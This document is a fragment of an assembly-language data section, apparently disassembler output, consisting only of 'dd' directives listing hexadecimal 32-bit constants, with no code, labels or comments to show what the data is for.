dd 0FFBFC94h, 0AAC4DF79h, 830AB95Fh, 0ED0EC6BEh, 2AC1D49Bh
dd 20B0F049h, 10B72547h, 448A0FBCh, 9895FC01h, 7E8D31FDh
dd 0B0CDDB9h, 0FDEF0DF1h, 75147240h, 0BFFE02FBh, 479BC2A4h
dd 0B725055Ch, 0C66D0019h, 0D09E75C9h, 0A06E200Bh, 0DC0276FCh
dd 2E2BD400h, 368D5EA1h, 820EB7C0h, 22240648h, 0D6400211h
dd 0C02B2761h, 0BB0961B7h, 317D82C9h, 0D22B0210h, 14E5CA40h
dd 785D5682h, 504ADF80h, 82895E9Bh, 0DB00FC71h, 1673609Ah
dd 14B800E3h, 9DEE097Bh, 0C0153AECh, 166CB6h, 2DE3A1EDh
dd 0F3C284h, 4027654Eh, 916C14CBh, 0D011609h, 1C4E9688h
dd 25099D89h, 0FBA72FC5h, 28235009h, 40231A97h, 820AF9B8h
dd 9756FA54h, 0DCC0746Dh, 2FF6717Bh, 0BD0953CAh, 2E4F4F41h
dd 88251E28h, 15259D23h, 1E53EC14h, 0E5D5BD01h, 3A008CEh
dd 0FF802179h, 0CF8102E1h, 464C20D3h, 0AE51D756h, 6E4ED26Ch
dd 0B6C10143h, 9E78073h, 9BE8282Bh, 0EFF7044Bh, 0B8E4F6A0h
dd 0D3059F7Fh, 96E6621h, 12D317EAh, 8DE8A24Ah, 8104712Dh
dd 60ABD2ABh, 0BE71DD53h, 0C7C6152Bh, 1E5865BCh, 856EC05Bh
dd 6F0BF953h, 2B808AA1h, 30176FEEh, 9FE96500h, 8A192DD6h
dd 0E1802FF8h, 40EF2DCDh, 1EAE518Fh, 306C28C5h, 926FB684h
dd 0ED340757h, 0FB5A195Bh, 0EE02247h, 0B54A98A6h, 0A286F9D8h
dd 25315623h, 9DECFF46h, 5C02592Eh, 5F0F4942h, 0DB80DB98h
dd 62DE6A5Ah, 8720FF83h
dd 62AEE800h, 37D3C468h, 596C861h, 0AF9904BFh, 16BE6BF0h
dd 284B0CDBh, 144A8B24h, 0E4C01EBDh, 0C93890B7h, 50F6C713h
dd 5F2568F3h, 19BC8E46h, 511F02DCh, 3A89BD5Eh, 0C419A70h
dd 17F9F941h, 0DBDB752Bh, 0E6CD87F4h, 4E1026F0h, 66921744h
dd 0A415128Dh, 2A25E98Ch, 0C07E7E02h, 0D39A04BFh, 6C745501h
dd 0E27F3F1h, 7294A5E4h, 987D65A0h, 4AABA9F5h, 883E12CDh
dd 1A002C49h, 9750D47Ch, 0EB4178h, 0C36522F0h, 0C17A5E04h
dd 6259A617h, 0E54B7B30h, 0CC570043h, 32B8A180h, 4A001D17h
dd 0DA9DE491h, 97222DA9h, 9400CBE4h, 860D9980h, 0EB1BAC1h
dd 5F5B88C8h, 5E4FE552h, 0DEFDD671h, 0A96AD54Ah, 7466E8AEh
dd 29C890B8h, 0A5991335h, 0DAE18F6Ah, 509B7A89h, 0FC5AA7C2h
dd 916C54Ch, 0CD9191BDh, 0F0140583h, 0BF4B2AF7h, 0B99B8785h
dd 0E743FC0h, 77947C49h, 218AAC40h, 981A0050h, 14D0D2F9h
dd 0A7ECB793h, 0D6171500h, 0BB5066F5h, 0D5AD0475h, 0FB348946h
dd 13009E6Fh, 0C56A6452h, 964C4A70h, 0E2DB2C37h, 0EA12DB3Ch
dd 104DDB3h, 4021DD85h, 9131577Bh, 80D84B8Bh, 0EDAC84D3h
dd 0E8836E58h, 0E3008C1Bh, 557D15D5h, 970CC57Eh, 0A8BDC72Bh
dd 5D33C402h, 0D6045F67h, 8D090206h, 4169747Dh, 15C1A3BFh
dd 5C836EFBh, 34C45B4Ah, 6A5F668Ah, 0EA080704h, 6246B590h
dd 6E3D45B8h, 32F1EB04h, 38BB6601h, 0F22D2E52h, 25C9369Ch
dd 3E1227C7h, 459072BBh, 0F587DF61h, 912E82Fh, 0C5A1701h
dd 41E948C0h, 0B0C0B72Ah, 0E45A253h, 9D298836h, 5791B49h
dd 0BF0F05DDh, 2526A8D8h, 0D0E9D319h, 2700B2D2h, 93AD6ED7h
dd 2EBD897Eh, 70BF0AFDh, 81889E85h, 75BC0AEBh, 5AE318DEh
dd 4DAFBAD6h, 435EC090h, 0D7287906h, 0BD25CCC0h, 0AF13650Ch
dd 950E1735h, 373F8463h, 0A2D004BCh, 211AC517h, 2E2B6159h
dd 1A29675h, 1A983500h, 9A5FECD0h, 4BB3DC00h, 0AFDDA808h
dd 41C7BA24h, 0FD332B14h, 0A639E0BFh, 6096134Dh, 9C70850h
dd 0E9A2180h, 133F1697h, 0A1748110h, 807D6CE6h, 0F2D6DA28h
dd 0F8EAA30Bh, 24506158h, 26EB5653h, 9B961685h, 10E581DBh
dd 108555F7h, 6197C623h, 6B890FB3h, 7B1A931h, 0A929752Fh
dd 2FFB861h, 90B5A850h, 1E60E8D6h, 74820509h, 54004E61h
dd 0E112D6BAh, 104C8348h, 5F2B1359h, 0DE6F26CEh, 3153DD05h
dd 0DA1CC856h, 4F480E50h, 4B190510h, 18898A8Dh, 6D7B29DDh
dd 0C7ADEDAFh, 0BA9DD098h, 0FD0B9CE5h, 660AD0E8h, 98719852h
dd 0EF8296F1h, 0F55AA55Dh, 0F850297h, 0C91B8E8Fh, 89B5518Dh
dd 6C784E48h, 0C2AECD9Dh, 515E0959h, 0D4D5FCE9h, 7F013F00h
dd 110D128Ah, 0B7542C7Bh, 7C5E0910h, 53974C78h, 9997D88Fh
dd 25B1E0A1h, 493B2EE6h, 77001C23h, 0A72ACF48h, 763F3A0Ch
dd 0E1E2DBh, 37B57944h, 0ADCEAAh, 7592CD73h, 3630529h
dd 0DD8A9C09h, 5A9A735Bh, 0C86BB938h, 0D94B72B8h, 0DA3B58DDh
dd 4A6E87B9h, 1CBC7E0h, 33552C8Dh, 6FADA66Eh, 0D1D29CE7h
dd 30A68EBDh, 0AA0BF0E4h, 0A9EED8B1h, 0C0D14DDBh, 0F8D28C1Ah
dd 8B7888ACh, 0E6E5DADEh, 81660463h, 0BC9FBDDBh, 0D551A268h
dd 0FA821B3Dh, 0DCD098DBh, 132910A8h, 981D5096h, 0E19B72Dh
dd 6206EC6h, 0D3676FBEh, 3384905Ah, 19884CDBh, 0BCF87AC0h
dd 109B259Ah, 0E4B552E6h, 71A0267h, 1CF19FFAh, 1259CE5Fh
dd 0B1018509h, 2F435D3Fh, 20E24452h, 0E0F5B64Fh, 90AEC8Dh
dd 46141552h, 86461B79h, 0ADB7972Fh, 4FCDDE00h, 1C95E9ABh
dd 6F60A4AAh, 0A62FC464h, 0A765CB9h, 398E2905h, 109D61C0h
dd 6D4D2Ch, 0E4EA94D7h, 0BFCFE7Ch, 6143BA12h, 8F215EF6h
dd 27A62C2Ch, 9EA7C697h, 111266A0h, 0DC91920Bh, 1D6402F9h
dd 7A805E15h, 0E9D9C800h, 4FBFF249h, 8B2141F5h, 0B8072DC1h
dd 0E18C2EDFh, 4B0B9079h, 9102938Dh, 0B6E2A03h, 2A4050F9h
dd 6A953E82h, 0DCF0D6CAh, 76F4EE4Fh, 7E92BDE1h, 21479FEh
dd 51160F45h, 9F74D80Fh, 2C8A97DBh, 11E6DE2Ch, 0DD1DD007h
dd 60E35172h, 0D0F84489h, 0A3F35C8Ah, 0BA34BF03h, 0DF2F5265h
dd 3108D901h, 88B0F78h, 38C33D80h, 16D6FCAh, 0DABE4B49h
dd 302B400Ch, 0E5B501FAh, 93A72EF7h, 82FE9B5Bh, 4177D7F6h
dd 5EFAE546h, 9078E91Dh, 0FF209C0Bh, 6C71D1h, 44EAF4BAh
dd 9697267Eh, 404D4500h, 3496BACFh, 0FC13EE05h, 57C22B61h
dd 6AE50E0Fh, 29B40E02h, 8B6391F3h, 8DAF48D8h, 941BD169h
dd 0CFB5B772h, 1FA151Eh, 72FDAE0Eh, 382F41E9h, 2B902021h
dd 80FDB79Dh, 0F917FEB9h, 4325F847h, 8CC10B8h, 0CF560A5Eh
dd 60A5A368h, 36A995CEh, 0A83A443Eh, 1895805Fh, 0B35F14Fh
dd 0E1E08F6Dh, 7FD98001h, 80A86812h, 0C8F6CFC4h, 1B4906D7h
dd 0F82861CBh, 184E9C00h, 0D87E9E9Bh, 0B600935h, 9175959Dh
dd 6111A9B5h, 61302F5Bh, 0A4DD9531h, 0E7BB4CC8h, 0CA532915h
dd 0FFD5BF02h, 94550D3Fh, 0AAED97D0h, 98AAD140h, 97302A9h
dd 442952F6h, 0C4CE645Eh, 0B2A1C595h, 0D1C69A2Ah, 0A97EC0CFh
dd 147BC129h, 0B4AE54A4h, 8D6003CFh, 0C20AFC6Fh, 210B03B8h
dd 0D3FF6A35h, 8ECB70D5h, 0EF90E403h, 0D4CF4716h, 0DCBB8EC0h
dd 2CBCB27Ah, 0F6B319C9h, 7B2BAF00h, 0D7CB71D6h, 97431DBBh
dd 70ECE55Fh, 9D211245h, 0B0FFD36Ah, 519D0980h, 0E62C1C9Ah
dd 1904670h, 0F471E412h, 75CBF246h, 691DF6F5h, 0D1B44770h
dd 5D3C0A41h, 0DBB9CCh, 0E010CD1h, 392F7F4Ch, 288F250Eh
dd 5E9E408h, 208B0340h, 5B2DBBD3h, 7E1DE6BAh, 81558229h
dd 18A98D14h, 39BD118Dh, 6A162EA1h, 6AE25752h, 8E025D10h
dd 8EBC43BBh, 4AAED2Fh, 1220855Fh, 0F47D71B2h, 0E217D775h
dd 146D00FBh, 0C215D8DEh, 3132011Ah, 0F2A4C987h, 6B032F5Fh
dd 0ECD5BD09h, 5004AF34h, 68BDA203h, 66BD1222h, 4CE9250Ah
dd 1201BD91h, 0AF6655F9h, 0FC409DB4h, 0F507FBh, 0D521495Dh
dd 0D88ACDDBh, 0D17916ECh, 32374D12h, 1E2235F2h, 27A1A5F2h
dd 0D04E7CFEh, 30784183h, 2257555Bh, 0B58D0389h, 0DC0ED704h
dd 7396EEFh, 0D9FEA303h, 50B6A7E2h, 911A13D8h, 0C07E9B6Ah
dd 0EE111661h, 219D0275h, 0F95670E1h, 8C2047Dh, 0AA0398BFh
dd 3EA3C300h, 3B29F313h, 47BD0264h, 1772737Ch, 0BB60355Eh
dd 0B3820B6h, 0A48B974h, 927C97Ah, 0C0157402h, 1E7039F0h
dd 68191700h, 54889E5Dh, 0C0974BE2h, 0F337BF27h, 4F3D0A3Bh
dd 49E05CF6h, 0ED094079h, 5CFC699Dh, 5D246F39h, 4EDDB903h
dd 3200D96Eh, 215EADFBh, 0CC1CA0DCh, 5967561Bh, 53FC25DBh
dd 15D5250h, 0F9A7DDB0h, 7CDF3E37h, 178F4B9Eh, 401DD350h
dd 0BD4E312Bh, 545797D2h, 0EDE9409Ah, 0A41283ACh, 0D4BC15DCh
dd 2B0173C0h, 466917C5h, 0F35968h, 2D58E8BBh, 0B6246003h
dd 0D51194EBh, 74986127h, 6E952EB3h, 0D4EDBCFEh, 0C1E3DE80h
dd 9D80D8B1h, 47D5A5E5h, 10F5B484h, 0E55B2527h, 50096906h
dd 8EB1B77Dh, 1228E9DFh, 14DEB880h, 0F40EBF1h, 20AA096Fh
dd 0C0222B47h, 3836B51Eh, 16CAF94Bh, 535E6A22h, 0DCF995C4h
dd 0E74AB838h, 0BF02B441h, 5E0EB59Dh, 1AFCE634h, 0FF873962h
dd 73B5F3E1h, 0FDCC82D0h, 65505862h, 44F8F61Ah, 3238AE20h
dd 0E7045BA9h, 0CD0A74Fh, 25985D6Ah, 5CE5E5B2h, 5CE79517h
dd 9934FEB7h, 53E72125h, 5C04300Bh, 6001F46Bh, 4A72CCE9h
dd 0C8206210h, 2A1841F5h
dd 0BCD956B0h, 7B00DCF6h, 8680BB3Eh, 292639Eh, 6824CB81h
dd 20E0640Ah, 5C822B39h, 0D18D2150h, 0CD68191Ch, 0F0C7F307h
dd 0BD27848Eh, 1531245h, 2187AFEh, 897C0528h, 698156BBh
dd 2D80D137h, 0B67F1D2Ah, 0B3600011h, 0A5EE811Ah, 362C1205h
dd 8901D61h, 6C6E8D4Bh, 0F90D6915h, 0BE7B80F6h, 0A403EB8Ah
dd 36B5C25h, 5A5F52ACh, 245E0A0h, 13676880h, 30ADDFC7h
dd 0E23BFF4Bh, 5A498415h, 0F9D4032Ah, 0EBAE97D6h, 565BAA15h
dd 3C980263h, 0B7FD523Fh, 0FCA900FBh, 9F7ECF3Ch, 2D5E6C4h
dd 140128ABh, 16E688h, 0F1DE1F38h, 4119EE0Dh, 9F31BA03h
dd 0E0013CAEh, 97546BA3h, 1A915FB5h, 0BA2A7880h, 0D32E4B4Ch
dd 90B6D34h, 184D10Dh, 0DAE951F6h, 0F8DE7F01h, 0D0266480h
dd 7A027D18h, 60059A6Eh, 10A2E101h, 0E555C606h, 4A1D3C88h
dd 1FBD2DC5h, 9C0286BCh, 6D8D01D4h, 0A63A5713h, 75000DE4h
dd 7A31ADDh, 0A90AEDh, 0D4D153FDh, 58598C97h, 814BD773h
dd 0DD0550CDh, 4AB759E4h, 4FC2E7ACh, 73A0F6F6h, 0DCFCA85Ch
dd 0BB118001h, 7C3CCB89h, 0DE36DED2h, 82E7883Ah, 1A3B97D9h
dd 7A9E4211h, 0E2F9498Eh, 0E3F86096h, 2100366Ch, 0BFE5AF44h
dd 12C70BA7h, 8180EA18h, 2FF22C3Fh, 50966B04h, 0FBD404EBh
dd 4AD4F36Ah, 966177C0h, 0BD291560h, 205F8EC1h, 3C862BAh
dd 4E99F300h, 81B14F33h, 199D02D8h, 615A533Ah, 68602D5Eh
dd 490F6EDFh, 201DC292h, 9BDEFC95h, 88D380DEh, 9B2BE73h
dd 0C8209A1Bh, 2D820455h, 6E2DE552h, 0D000F47Ah, 36B86509h
dd 9C4A4245h, 4E8A84F0h, 0B06EE0F8h, 0BE66DE04h, 0D6BFF29Dh
dd 0C39CD839h, 276B01DCh, 14BB2276h, 5F25369Ch, 421F282h
dd 0B839BD61h, 0C5449DB1h, 97281697h, 0BA01A6B7h, 0FE8A66B6h
dd 525F282Eh, 7CE62BD7h, 60F531E2h, 0E80997D0h, 0D3194DDh
dd 262742E9h, 6193F090h, 0E18350E0h, 0A7BB0494h, 0BC3F6B4Bh
dd 8180EB56h, 8E2ADF7h, 15235F4Bh, 0E1D8AB70h, 67791CCDh
dd 0C92565B8h, 1153E56Ah, 0CDEE4208h, 0AA6063FBh, 0DB054B71h
dd 0C017C82Ch, 4B62A959h, 251EC6B5h, 5A5145B3h, 0F765DE07h
dd 41A50970h, 668C000Eh, 883F3E97h, 0EE9520BFh, 27359D4Ch
dd 0CAC4FC02h, 3D63C040h, 61BA9710h, 85E23056h, 0E9535E1Ah
dd 6E800037h, 0E7C2303Eh, 65314CFDh, 5056925Bh, 0F8E83177h
dd 0FC2C0A2Bh, 1D46DCBAh, 9C759700h, 0B17EA9ADh, 0FE3F4416h
dd 3DEB1102h, 6B515EE1h, 48404356h, 0B5CB7Fh, 0D7E21451h
dd 5F4F2183h, 5980C6B1h, 0B616AC8Ah, 40EF006Ah, 0A1BE8043h
dd 0CB022C0Eh, 29F951C0h, 0BBADB05Bh, 0C8E31219h, 919F32Ch
dd 7A8DEB80h, 0ABCFB716h, 3106047h, 0A816318Dh, 0B761F1EAh
dd 35F58D3Ah, 15518450h, 4E24BC91h, 3A00466Eh, 0F2C55C7Eh
dd 0B8702F18h, 6ECA1095h, 0AD9B001Dh, 29BBED7Eh, 0DC2512D3h
dd 7E49E2CBh, 0ED00DC72h, 4556E474h, 98EB7A2h, 0DC8AA5D8h
dd 35A5537Bh, 0A1920009h, 1CC58E9Ah, 105C5058h, 5F250BADh
dd 63B053E6h, 6AC5A554h, 0E076CDB7h, 9EB0854h, 0A9E7FE01h
dd 2B799531h, 88934632h, 7F002618h, 81B48019h, 3E02F30h
dd 746B8341h, 0C7C1EDAAh, 0D6A77D4Ch, 0D6A81EADh, 0BE0115F0h
dd 50234BFCh, 49CEF80Ch, 318F5D9h, 0F2BCBD4Ah, 40599676h
dd 0C7096247h, 8029B612h, 89258BDh, 0FEA50C3Fh, 0D09E20Ch
dd 696A9C57h, 0A7732727h, 9D6B4970h, 0C6258BF2h, 696E7961h
dd 5BE9095Ch, 0A0855001h, 0FCAE5F12h, 0BF80F9BDh, 0F0D552Bh
dd 56C01A97h, 3A74519Eh, 513807Bh, 2276E86Fh, 7892952Eh
dd 0C0EB6D57h, 2F3CDCFDh, 0FC1B7C02h, 5EC6B136h, 0BD13F4C4h
dd 1DEA6E14h, 0B68FC984h, 0DB698C71h, 0CBF07022h, 0DE3FE400h
dd 0F381E611h, 0D8A50485h, 988E0F21h, 3140C931h, 84FD4BE9h
dd 0C19A9BBDh, 0FC4DFF8h, 5FF6202Ah, 0D5072720h, 8B406FC1h
dd 95CCF849h, 168AABB0h, 4090F48Ah, 0C3C94CA0h, 79008872h
dd 82AD57EAh, 127F40DBh, 0AFEEFCB3h, 0CD125817h, 0BCD8C2F8h
dd 0A427BF66h, 40786FD2h, 0DFAAFE82h, 51038606h, 0F4B4F33Ah
dd 0AF789560h, 0C2FCD925h, 0BBED5DBFh, 9A155C9h, 3F9D0BFCh
dd 3050C193h, 0F045202h, 58685A31h, 4538D908h, 36C814A5h
dd 51279529h, 0E4EE6705h, 71F601Bh, 50F006A9h, 467B2933h
dd 12BCFC4Ch, 0BBE70E85h, 2561BF02h, 9C5C110Ch, 0ECD681CFh
dd 6E6AD1FFh, 0B09713Fh, 0DE485C93h, 0A595961Fh, 0B8282B6Eh
dd 0F670967Dh, 0C79E8200h, 70AC8EBBh, 26A275Bh, 37602456h
dd 7F3ED7h, 69FEB321h, 0C25789B0h, 0E08B5425h, 25BB668Ch
dd 7E76396Fh, 0C45B01F6h, 1CED597Bh, 0FE992B3Ah, 33001563h
dd 6DBFEBA6h, 8D1E8641h, 808499EEh, 0E8B831E9h, 216108E1h
dd 0B8516953h, 299FC2Fh, 0F43D9DD9h, 0CDDE8D47h, 0B6996625h
dd 1F5108B1h, 702288A2h, 56099518h, 8BE2E356h, 0FD8A2202h
dd 9F2D7B5Ch, 871591CDh, 0F7D12A6Fh, 0CCC7DB5Eh, 0E94B98B9h
dd 0EE3E88Ch, 8A851FC5h, 6AC4AC01h, 0B87539FFh, 421A0B72h
dd 29D9BBEBh, 0C1184401h, 45D407D4h, 23F0078h, 253057F7h
dd 264BD940h, 54FA9585h, 7112820Dh, 0A2E4B802h, 48BF202Eh
dd 9275526h, 0D8ED84B0h, 0FE2D70B8h, 0D7251664h, 9DCE7403h
dd 999D89FDh, 0E49AA2DDh, 35E78271h, 60BF001Ah, 2F4BF8A8h
dd 0A4688A97h, 297109B3h, 4449D05Ch, 0A07F011Eh, 3B040E49h
dd 0CD23F871h, 88D44234h, 9016BB3h, 856B32A4h, 68F63B4Eh
dd 7758EF0Bh, 952120Eh, 0B0FF2A3Eh, 0F71EDBA1h, 0CBC05213h
dd 0BF0BE73Ah, 582B5F12h, 9FCA9D54h, 0A4227760h, 2765E23Eh
dd 133141D1h, 0AA099C6Bh, 0B0445400h, 3DAE4EDAh, 65454C87h
dd 0C2A8FC16h, 140C151Bh, 86074B5Fh, 7D206A89h, 0C4574E08h
dd 5BA74D25h, 61836B22h, 2E3D6971h, 6AA5857Eh, 89450298h
dd 282BFABDh, 100B44E9h, 1304119Dh, 34AEA6B3h, 0AAD8FEDEh
dd 0DCBC25BFh, 9A5F8BC2h, 57E67D73h, 1FA1A5FEh, 7BA33BFEh
dd 71142F51h, 0BC12C11Eh, 701090E6h, 870F16E3h, 29600FD1h
dd 86455F9h, 0E5EB4F8h, 6CF5820Fh, 0BB0E3513h, 94826828h
dd 0A490AD10h, 830E7D63h, 481247h, 0B0D9C2FAh, 1E230019h
dd 0F141BEA0h, 0B925328Eh, 0F8A7066Ch, 9EFC71F4h, 700BDC07h
dd 0F163CE48h, 0BA8D16A2h, 0B33B1F29h, 0D2B14E52h, 3BC0862Ch
dd 0C41C5753h, 5AF4EA00h, 706786CBh, 0B5D239BCh, 0EFE79402h
dd 547CC02Bh, 0CCB604DCh, 90DF8B51h, 0BA9F0F7Fh, 8D25DEA6h
dd 0C96C7315h, 98704653h, 24059E07h, 9D773D14h, 5FD21AD3h
dd 375E6E42h, 65D40F40h, 47BF0045h, 0C7B193EEh, 2F4874AEh
dd 2E151019h, 1B8BCD4Ah, 4D0DC29Eh, 195860CBh, 14BBB71Ah
dd 0F635B5E1h, 9FA296D5h, 0F053F17Bh, 4A8BFF7Ah, 0F499E2FAh
dd 0C8A322F6h, 0B7A20A7h, 6CD49428h, 8DE312FEh, 918983E2h
dd 6862996Fh, 0EAE6C39Bh, 9D3F401Ch, 5F9BA8D5h, 0D36DE1B8h
dd 0EE00B7ECh, 8842B903h, 160ABBC8h, 0AD716E20h, 0AC34D5E5h
dd 870E2F0Ah, 17FC9590h, 0D79C3700h, 3D91358Dh, 4811D40h
dd 0FF854174h, 2EDD8AE1h, 8989AA28h, 89282EF9h, 0DC608996h
dd 6BC00281h, 0BD315A51h, 620795D9h, 637C3961h, 1A7D6725h
dd 0B75F463Dh, 603389A6h, 0E381EB37h, 52586EA8h, 434B33Bh
dd 0B89B501h, 309DB112h, 568ADD3Eh, 0A57D2474h, 1245368h
dd 5BF4D7B4h, 0C7FA20D0h
dd 0C500E8B8h, 374CC6F6h, 5F472BBBh, 7CACE50Ah, 40E8C882h
dd 0B7BD14FAh, 1B5F7307h, 0A7907FB1h, 5E0FCEDCh, 2B8EA10Ah
dd 66904A31h, 31D4CE25h, 0E2294E9Dh, 7A854179h, 8A6A2A2Dh
dd 0C0195884h, 682DBFABh, 59480311h, 50A136ECh, 0F2F7F3D0h
dd 0F98B1737h, 0E3D4124Eh, 0C4B357FFh, 41EEA330h, 416F4902h
dd 0F6CBB1EBh, 5465827Fh, 94C626h, 80E0E82Dh, 65829F75h
dd 9EA36300h, 41309F6h, 0FF5B09AEh, 57738B35h, 0D0005D20h
dd 905D7291h, 25F0BBCEh, 4DC641D2h, 220D909Fh, 0F1F3005Bh
dd 283F1E08h, 92097C58h, 54023DE9h, 5209F427h, 412C1D19h
dd 692DF53h, 1824E1D9h, 78007D41h, 80AB6807h, 259B2216h
dd 10C67958h, 0FA54E0A2h, 5FDFBF60h, 0DD084A09h, 0A8A469F7h
dd 724D09EAh, 2A8E1161h, 0A26FCB25h, 0B4800E4h, 55A4DAE6h
dd 9F89E41Fh, 68E1606Dh, 752FF010h, 0A0F4E6D8h, 98506430h
dd 2306444Bh, 0B599D13h, 0FCB98AA4h, 0C8EC9F5Ah, 29999D10h
dd 19C26125h, 6A6DF741h, 0DF0166E2h, 0F96C5CEh, 394EEF8Ch
dd 95604F2Ch, 40DD938Fh, 0BA66F78Bh, 96F69DBFh, 0ACB79Fh
dd 83BF21D3h, 0A4B6609h, 826A368Dh, 310005FFh, 911A1185h
dd 5A6EADAh, 0A2506CC6h, 2960048h, 6D482528h, 30D691E4h
dd 0C18A60D0h, 2B5A539Fh, 78BB01D7h, 22547AD6h, 4CF151DAh
dd 0C33EBBDCh, 7E6ECFFBh, 49ED7403h, 82BC6991h, 2A7E25CAh
dd 72B25B17h, 0C808EB00h, 0BEF60D09h, 0AB7C5F00h, 88E40604h
dd 809E9160h, 44FD2015h, 0AE058FFBh, 8DB6536Ch, 7CB5D216h
dd 80BBDF3Eh, 0B3751DB8h, 0E4119041h, 0FE9851B9h, 48E22Ah
dd 27BAA708h, 0BF880F6Fh, 98EC091h, 104603Dh, 142EF5BDh
dd 1A85133Fh, 0CD48B8A7h, 1417D38h, 2EDEBFCAh, 9369753Dh
dd 6CE271A8h, 6A5F3C0Ah, 2025BECEh, 0F59D29EDh, 0C5C79519h
dd 9F755027h, 278C1D3h, 5349009Fh, 0F98A45FDh, 6FBD4CE9h
dd 20960FBh, 8702F5D1h, 250D7ECDh, 0A6C8591Bh, 0B9BB0240h
dd 8A5C5BA7h, 5002C975h, 0B7020915h, 50635C5Ah, 46940471h
dd 0E71E00F4h, 4286EC89h, 0DB29801Fh, 3F62F30Ch, 0CABD7504h
dd 0BDEAFF07h, 6E81E614h, 2D2E2E8Dh, 0A83929A8h, 0A64A2820h
dd 0B72325E9h, 0B5978ECEh, 2F023D22h, 5ED28734h, 5E1D3A57h
dd 9B00D4E0h, 742E94FBh, 2D6855AFh, 4C01D229h, 0E2B9B501h
dd 0ED5AAC5Ch, 142041FAh, 0ED206B23h, 1F0FE25Ch, 0ADF7Eh
dd 0C0FCADC1h, 5300A458h, 283C87EEh, 95618501h, 43B0C852h
dd 4CCC965Ch, 0B631715Dh, 61C8AA6Bh, 13C10896h, 54B1B061h
dd 72458A4Ch, 91E31252h, 8AA35F42h, 75231E00h, 0ABC025B0h
dd 0D2F49873h, 0B5312D09h, 5B6EA405h, 0D88C5B9h, 0EB013380h
dd 1DBCE930h, 4005EF95h, 8060E27Fh, 5F5684DFh, 3015E2D4h
dd 509D5CAEh, 0FBB725F4h, 25B0CEC6h, 58BB0544h, 19258393h
dd 6F57D6CAh, 0BBE7440Fh, 6F1C084h, 0C8789A6Bh, 0F0F1C119h
dd 10FBD408h, 9CB813Bh, 705AD1E0h, 0F98B25DAh, 5735A7C2h
dd 12FDC294h, 0F4B90DE7h, 0CFFBB892h, 135DA529h, 0A12374AFh
dd 0B778AD3Ah, 5A9B00C2h, 52662108h, 943B7916h, 11C45FE9h
dd 58AC120Bh, 0C4E8E180h, 7100B8B6h, 8AD1B115h, 5FF936D4h
dd 92D3450h, 8BD5F8F8h, 0D01B1807h, 112B878h, 0CD9B637h
dd 7153AB89h, 8490457Dh, 0C557BDEFh, 17EB96FBh, 0C08DBD21h
dd 0F34A67F0h, 0D26D02B6h, 0CE12C53Ch, 0A30235D7h, 5CA78F8Bh
dd 0AE829B24h, 0FABFF6D0h, 0FD72576h, 0D4A1A7C6h, 5CF6B05h
dd 0BB012A22h, 6725276Fh, 0B7C85150h, 17F89768h, 60243409h
dd 0C6000757h, 45AA9AEh, 0D4FA5D57h, 4D98BF16h, 0E55909F7h
dd 0BB902BCh, 8AEB140Ah, 0A4723264h, 5B8669B5h, 0ADB4752Eh
dd 4C11A88Ah, 0C50B59A2h, 0E8C15F45h, 809E3912h, 15707605h
dd 0EA2412AAh, 85A81F54h, 0F8FBC6AFh, 17CD121Bh, 60A094B8h
dd 0A9B59D31h, 0D0D5E2D2h, 0E7614A0Bh, 0A6A4E9Fh, 0EEE4012Fh
dd 46973E00h, 5E94AB6Ch, 0A47C070Ah, 50932BC7h, 5D78039Fh
dd 0A8E32E2Ch, 5F9DC927h, 2D1B282Fh, 0D1305D8Ah, 164B49BDh
dd 96004DCh, 1C14BA66h, 0D99F08EEh, 0E05A2D6Dh, 0F719D11h
dd 0B83BB9A5h, 0E07002Eh, 0B4B7E8BAh, 8C4E0F3Eh, 0FE0920F3h
dd 0CC70B9E9h, 25D24195h, 0A5A4FBB1h, 0FF171431h, 7081A3DBh
dd 2FFE8B26h, 7700F9F3h, 0FA0E471Fh, 1A975FC0h, 10DC84D8h
dd 0C5437340h, 0DC00C7BFh, 5999A46Eh, 13E58CA3h, 448F4CBEh
dd 0EA5B5F84h, 352DA8Ch, 0F0D6A89Bh, 0FCB87BE7h, 6BE3B21Fh
dd 0E18153C1h, 6ADAA53Ah, 0E28F5FDBh, 0D4361777h, 29DC0422h
dd 0F94BED15h, 697BE62Fh, 97FC9844h, 0B35E00AFh, 931E142Dh
dd 667732E1h, 7DC56902h, 58EE7F05h, 218848BEh, 4BED0625h
dd 331477CBh, 5E5DDCCBh, 7CBB6033h, 0F1A7FEAh, 0C0026090h
dd 7534BF67h, 602F97F2h, 0E1E8A6D3h, 1770D09Fh, 5CA06A98h
dd 2FC52994h, 610EFFC6h, 8B84C180h, 78F4D36Ah, 8D00EFEDh
dd 718F643Dh, 303F69BBh, 814E4CCCh, 0F0299DBh, 0B3606191h
dd 0CAD7603Ah, 971279A1h, 0DC0589Ah, 38FC0163h, 0B312EEB5h
dd 0A9A1589Bh, 0C0DBAA0h, 0F84F5582h, 49F2744Bh, 68F5BD07h
dd 27CE42Dh, 250ED851h, 0B7C17FDEh, 83282F5Bh, 0F72EE184h
dd 5C7CA22Ah, 26AE248h, 1FDB7DDh, 20899326h, 198F6B50h
dd 0EB554451h, 2576EEBh, 205A4312h, 0B320D888h, 970286Ah
dd 98E98C30h, 480B1C57h, 0B65BBC92h, 4CCEF03Fh, 92F32680h
dd 904D27C9h, 0D7ED82E0h, 0E3BED214h, 38EC4FA7h, 65BB50C0h
dd 4A978DA7h, 0DC3074B9h, 6177630Ah, 0AD098D1Ch, 9BC6782Dh
dd 18145155h, 0DAB29786h, 362B75Ch, 0B869D5BDh, 1FB66E6Ah
dd 0FBEDBEF0h, 10B6362Dh, 0AF02F27h, 50E4DAA6h, 0CF90895h
dd 536E5F1Ch, 7C2A410Bh, 8709F462h, 7BF95DACh, 5C0511AFh
dd 0B0D780AFh, 54B357h, 81AD442Fh, 9ACCF1EFh, 0BDC44B4Bh
dd 0B93D4980h, 897013E6h, 7CB6E9B5h, 6202EB00h, 71E42859h
dd 0ACA497FCh, 0BD3343D2h, 4036FCF5h, 7B0E452Dh, 583E287Ch
dd 205AF4FAh, 6132EA69h, 6A28511Dh, 0F797E825h, 97B37AE2h
dd 58418CA7h, 81D1003Bh, 3DF91CD3h, 0CCE94F78h, 80AA7104h
dd 42D8FC0h, 0F622BB80h, 0B93A4A0Fh, 85205B19h, 7AB0301Ch
dd 0C79F1696h, 282E5AFCh, 253B165Eh, 437BE62Fh, 5C11119h
dd 65C4F25h, 7E2DCDE0h, 9FCA1F6Dh, 0AE131681h, 2D5ACE36h
dd 49540CA1h, 742C8462h, 9BEB4325h, 0A5FAF5DBh, 0FFE1B82h
dd 2FB82A5Ch, 42961F8h, 5DD2606Ah, 0D042587h, 0EFACF9DAh
